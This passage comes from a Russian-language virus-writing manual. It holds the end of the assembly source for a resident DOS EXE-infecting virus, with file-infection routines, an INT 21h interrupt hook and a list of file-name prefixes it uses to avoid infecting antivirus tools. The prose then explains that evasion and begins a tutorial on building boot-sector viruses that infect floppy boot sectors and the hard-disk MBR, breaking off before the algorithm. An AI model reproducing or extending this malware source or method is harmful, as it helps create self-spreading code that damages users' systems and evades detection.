;Data area
new_dta db 128 dup (0) ;Новая DTA ...
maska db 61h,'.exe',0 ;Маска для
;поиска ...
fn db 12 dup (' '),0 ;Место для имени
;файла
end_file db 0ebh ;Первые два бай-
;та вируса
db push_len ;в файле ...
header db 27 dup ( 0 ) ;Массив для
;заголовка ...
descrypt dw 0 ;Дескриптор ...
to_02h dw 0 ;Ячейки для
to_04h dw 0 ;хранения вычис-
to_16h dw 0 ;ляемых элемен-
my_ip dw 0 ;тов заголовка
my_cs dw 0 ;
my_16h dw 0 ;
my_ss dw 0 ;
my_sp dw 0 ;
old_ss dw 0 ;
old_sp dw 0 ;
f_seek_low dw 0 ;Младшая и стар-
;шая части
f_seek_high dw 0 ;указателя ...
es_dta dw 0 ;Адрес старой
bx_dta dw 0 ;DTA ...
first_psp dw 0 ;Сегмент первого
;PSP ...
es_save dw 0
to_new_stack equ $ - vir ;Смещение к
;стеку ...
new_stack dw 50 dup ( 0 ) ;Новый стек ...
name_1 db 'ADIN' ;Файлы ,имена
name_2 db 'DINF' ;которых начина-
name_3 db 'DRWE' ;ются так,
name_4 db 'AIDS' ;заражать
name_5 db 'ANTI' ;нельзя !
name_6 db 'WEB'
inside db 0
vizitka db 'Programmed in Zhitomir'
db ' Politechnical Institute'
db 'FICT is the best!'
db ' (AU - ... ,virmaker)'
mes_len equ $ - vizitka
last db 0 ;Последний байт
;-------------------------------------------------
setpointer proc ;Процедура уста-
mov ax,4200h ;новки указателя
mov bx,descrypt ;в файле ...
int 21h
ret
setpointer endp
read proc ;Процедура чте-
mov ah,3fh ;ния из файла
mov bx,descrypt
int 21h
ret
read endp
write proc ;Процедура запи-
mov ah,40h ;си в файл ...
mov bx,descrypt
int 21h
ret
write endp
mover proc ;Процедура умно-
mov cx,04h ;жения на 16
left: shl dx,1 ;двойного слова
shl ax,1 ;DX : CX
adc dx,00h
loop cs:left
ret
mover endp
rest_code proc ;Процедура вос-
;станавливает
push bx ;в памяти текст
push cx ;промежуточного
push si ;обработчика
;INT 21h ...
push di
push es
pushf
cli
mov es,cs:first_psp - 100h
xor di,di
mov si,offset cs:to_bios - 100h
mov cx,code_len
loader: mov bl,byte ptr cs:[si]
mov byte ptr es:[di],bl
inc si
inc di
loop cs:loader
sti
popf
pop es
pop di
pop si
pop cx
pop bx
ret
rest_code endp
search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp
;-------------------------------------------------
to_bios: push ax ;Текст промежу-
push ds ;точного обра-
pushf ;ботчика Int 21h
xor ax,ax
mov ds,ax
cmp word ptr ds:[0006h],0070h ;Int 01h пере-
;хвачено ?
jne cs:uuuuu
;JMP на систем-
;ный или вирус-
;ный обработчики
;INT 21h ...
popf
pop ds
pop ax
db 0eah ;На вирусный...
our_21h_ip dw to_new_21h
our_21h_cs dw 00h
uuuuu: popf
pop ds
pop ax
db 0eah ;На системный...
sys_21h_ip dw 00h
sys_21h_cs dw 00h
code_len equ $ - to_bios ;Длина обработ-
;чика ...
;-------------------------------------------------
db '7' ;Последний байт
;вируса ...
vir_len equ $-vir ;Длина вируса
;в байтах
vir_par equ ($-vir + 0fh)/16;И в параграфах
prg ends
end vir
Как видите, в вирусе приняты определенные меры для
того, чтобы он не смог заразить антивирусные про-
граммы .Дело в том,что все ( или почти все ) анти-
вирусы при запуске проверяют себя на зараженность,
и при обнаружении изменений своего кода выдают со-
ответствующее сообщение . Поэтому вирус проверяет,
содержатся - ли в имени найденного файла такие
фрагменты :
name_1 db 'ADIN';Файлы, имена
name_2 db 'DINF';которых начи-
name_3 db 'DRWE';наются так, за-
name_4 db 'AIDS';ражать нельзя !
name_5 db 'ANTI'
name_6 db 'WEB'
Для проверки используется разработанная ранее про-
цедура SEARCH . Если найденный файл действительно
является антивирусной программой, наш вирус отка-
зывается от попытки заразить его .
*
Как вы заметили,в вирусе отсутствуют обработчики
Int 13h и Int 2Fh. Так сделано потому, что пред-
лагаемая программа отлично работает без какой -
бы то ни было " фильтрации " прерывания Int 13h.
Проверка повторной загрузки возложена на обра-
ботчик Int 28h, по этой причине прерывание Int
2Fh перехватывать не нужно.
ЧАСТЬ 3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ
ГЛАВА 1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
ВИРУСНОЙ ПРОГРАММЫ
1.1 Краткие сведения о начальной загрузке
персонального компьютера
Для начала следует сказать несколько слов о том,
как происходит начальная загрузка ЭВМ.
После проверки аппаратной части компьютера и запо-
лнения таблицы векторов прерываний BIOS пытается
прочитать первый сектор нулевой дорожки нулевой
стороны диска в дисководе " A ". Этот сектор поме-
щается в память по адресу 0000:7C00h,после чего на
указанный адрес передается управление. В прочитан-
ном секторе содержится программа начальной загруз-
ки (BOOT - запись) и некоторые другие сведения,не-
обходимые для доступа к данным на диске. Программа
начальной загрузки проверяет, является - ли диск
системным. Если это так, то загрузка операционной
системы с диска продолжается, а если нет,то на эк-
ран выводится сообщение :
Non system disk or disk error
Replace and press any key when ready .
после чего система ожидает действий оператора.
Если же диск в " A " - дисководе отсутствует, то
программа BIOS считывает первый сектор нулевой до-
рожки нулевой стороны первого жесткого диска. Он
также помещается в память по адресу 0000:7C00h,по-
сле чего по указанному адресу передается управле-
ние.В прочитанном секторе на жестком диске записа-
на так называемая MBR (главная загрузочная за-
пись). MBR является программой, которая определяет
активный раздел жесткого диска, считывает загру-
зочную запись (BOOT - запись) этого раздела в опе-
ративную память и отдает ей управление. Дальше все
происходит, как при загрузке системы с гибкого ди-
ска. Как видим, процесс загрузки с винчестера яв-
ляется как бы двухступенчатым.
Если же программа MBR не нашла активный раздел, то
выдается сообщение об отсутствии загрузочных уст-
ройств, и система останавливается.В некоторых ста-
рых машинах при невозможности запустить операцион-
ную систему загружался интерпретатор языка БЕЙСИК,
записанный в микросхемах ПЗУ. Однако новые модели
компьютеров не содержат встроенного интерпретато-
ра и не используют его.
1.2 Понятие о загрузочных вирусах
Загрузочными называют вирусы, способные заражать
загрузочные сектора гибких и жестких дисков и по-
лучающие управление при попытке " запустить " опе-
рационную систему с зараженного диска.
Можно выделить следующие основные разновидности
вирусных программ указанного типа :
1. Заражающие BOOT - сектора гибких дисков
2. Заражающие BOOT - запись активного раздела же-
сткого диска и BOOT - сектора гибких дисков
3. Заражающие MBR ( Master Boot Record ) жесткого
диска BOOT - сектора гибких дисков
Отметим,что заражение BOOT - секторов дискет явля-
ется обязательным, иначе вирус просто не сможет
распространяться .
Кроме того, почти все загрузочные вирусы являются
резидентными,что объясняется спецификой их работы.
Нерезидентный вирус смог бы размножаться только в
том случае, если при загрузке с диска " A " из
дисковода " B " забыли вытащить дискету, или при
загрузке с зараженного винчестера диск находится в
одном из дисководов.Очевидно,что при таком алгори-
тме работы вирус размножался бы очень медленно,
и его создание было бы просто бессмысленным.
Большое распространение получили также файлово -
загрузочные вирусы, которые могут заражать файлы
типов EXE, COM а иногда и другие. Ярким представи-
телем этой разновидности можно считать ONEHALF,ко-
торый может заражать EXE и COM - файлы. Файлово -
загрузочные вирусы являются более заразными, чем
файловые. Создать такой вирус также сложнее, и по-
этому их подробное рассмотрение выходит за рамки
данной книги.
1.3 Алгоритм работы загрузочного
вируса
Несмотря на огромное разнообразие загрузочных ви-
русных программ, алгоритмы их работы незначительно
отличаются друг от друга. В этом пункте мы рассмо-
трим одну из возможных реализаций такого алгорит-
ма. Только сначала условимся, что наш вирус будет
заражать загрузочные сектора гибких дисков и MBR
( Master Boot Record) первого жесткого диска. Поэ-
тому можно предложить следующий " план работы " :